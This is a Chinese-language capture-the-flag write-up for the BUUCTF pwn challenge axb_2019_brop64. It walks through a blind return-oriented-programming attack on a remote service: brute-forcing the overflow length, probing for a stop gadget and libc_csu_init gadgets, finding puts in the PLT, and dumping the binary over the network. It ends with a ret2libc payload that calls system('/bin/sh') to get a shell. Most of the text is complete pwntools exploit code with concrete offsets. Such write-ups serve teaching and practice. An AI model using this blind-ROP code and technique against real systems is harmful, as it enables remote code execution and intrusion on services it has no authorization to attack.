BUUCTF Pwn axb_2019_brop64 题解

这题是BROP 所以不下文件

先nc一下看看:

先要找到栈溢出长度:

from pwn import *
import time

def getsize():
    i = 1
    while True:
        try:
            p = remote("node5.buuoj.cn", 29367)
            p.sendafter("Please tell me:", b'a' * i)
            time.sleep(0.1)
            data = p.recv()
            p.close()
            if b"Goodbye!" not in data:
                return i - 1
            else:
                i += 1
        except EOFError:
            p.close()
            return i - 1

size = getsize()
print(size)

运行后 找到溢出长度为216:

接下来,找stop gadget 这里用main函数作为stop gadget:

def getStopGadget():
    address = 0x4007d0
    while True:
        try:
            p = remote("node5.buuoj.cn", 29367)
            payload = b'a' * 216 + p64(address)
            p.sendafter("Please tell me:", payload)
            print(payload)
            time.sleep(0.1)
            buf = p.recv()
            print(buf)
            output = p.recv()
            print(output)
            if b"Hello" not in output:
                p.close()
                address += 1
            else:
                return address
        except EOFError:
            address += 1
            p.close()

找到gadget是0x4007d6

接下来要找brop gadgets 用csu_init的:

def GetBropGadget(size, stop_gadget, addr):
    try:
        p = remote("node5.buuoj.cn", 29367)
        payload = b'a' * size + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
        p.sendafter("Please tell me:", payload)
        time.sleep(0.1)
        buf = p.recv()
        print(buf)
        output = p.recv()
        p.close()
        print(output)
        if b"Hello" not in output:
            return False
        return True
    except EOFError:
        p.close()
        return False

def Check(size, addr):
    try:
        p = remote("node5.buuoj.cn", 29367)
        payload = b'a' * size + p64(addr) + p64(0) * 10
        p.sendafter(b'Please tell me:', payload)
        time.sleep(0.1)
        output = p.recv()
        p.close()
        print(output)
        return False
    except EOFError:
        p.close()
        return True
addr = 0x400900
while True:
    print(hex(addr))
    if GetBropGadget(216,0x4007d6,addr):
        print("brop gadget: 0x%x"% addr)
    if Check(216,addr):
        print("brop gadget: 0x%x"% addr)
        break
    addr+=1

找到是0x40095a

找到了6个pop的地址 这个地址+9即为pop_rdi_ret 的地址

接下来找puts函数的PLT :

def getputsplt(size, pop_rdi_ret, stop_gadget):
    addr = 0x400600
    while True:
        print(hex(addr))
        try:
            p = remote("node5.buuoj.cn", 29367)
            payload = b'a'*size + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
            p.sendafter(b'Please tell me:', payload)
            time.sleep(0.1)
            buf = p.recv()
            output = p.recv()
            p.close()
            if b'\x7fELF' in output: #ELF文件的头部魔数
                print('puts plt address = 0x%x' % (addr))
                return (addr)
            addr += 1
        except EOFError:
            p.close()
            addr += 1

接下来找puts的GOT:

def leak(size, pop_rdi_ret, puts_plt, leak_addr,stop_addr):
    p = remote("node5.buuoj.cn", 29367)
    payload = b'a'*size + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_addr)
    p.sendafter(b'Please tell me:', payload)
    p.recvuntil(b'a' * size)
    p.recv(3)
    try:
        output = p.recv(timeout=1)
        p.close()
        try:
            output = output[:output.index(b"\nHello,I am a computer")]
            print(output)
        except Exception:
            output = output
        if output == b"":
            output = b"\x00"
        return output
    except Exception:
        p.close()
        return None
def dump_file(size, pop_rdi_ret, puts_plt,addr,stop_addr):
    result = b''
    while addr < 0x400835:
        print(hex(addr))
        output = leak(size, pop_rdi_ret, puts_plt,addr,stop_addr)
        if output is None:
            result += b'\x00'
            addr += 1
            continue
        else:
            result += output
        addr += len(output)
        with open('dump_file','wb') as f:
          f.write(result)

生成的文件用IDA打开 二进制格式

之后在Edit->Segments->Rebase program 重设基地址为开始打印的地址:

找到对应plt地址:

puts GOT地址为 0x601018

接下来就是正常的libc:

def exp(size,pop_rdi_ret,puts_got,puts_plt,stop_gadget):
    p = remote("node5.buuoj.cn", 29367)
    libc = ELF('./libc-2.23.so')
    ret = 0x40095a + 0x9 + 0x5
    payload = b'a' * size + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
    p.sendafter(b'Please tell me:', payload)
    p.recvuntil(b'a'*size)
    p.recv(3)
    func_addr = p.recv(6)
    puts_addr = u64(func_addr.ljust(8,b'\x00'))
    print(hex(puts_addr))
    offset = puts_addr - libc.symbols['puts']
    system = offset + libc.symbols['system']
    binsh = offset + next(libc.search("/bin/sh\x00"))
    payload2 = b'a' * size + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
    p.sendafter(b'Please tell me:', payload2)
    p.interactive()

exp(size, pop_rdi_ret, puts_got, puts_plt, stop_gadget)

运行 得到flag:

好长🫥

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值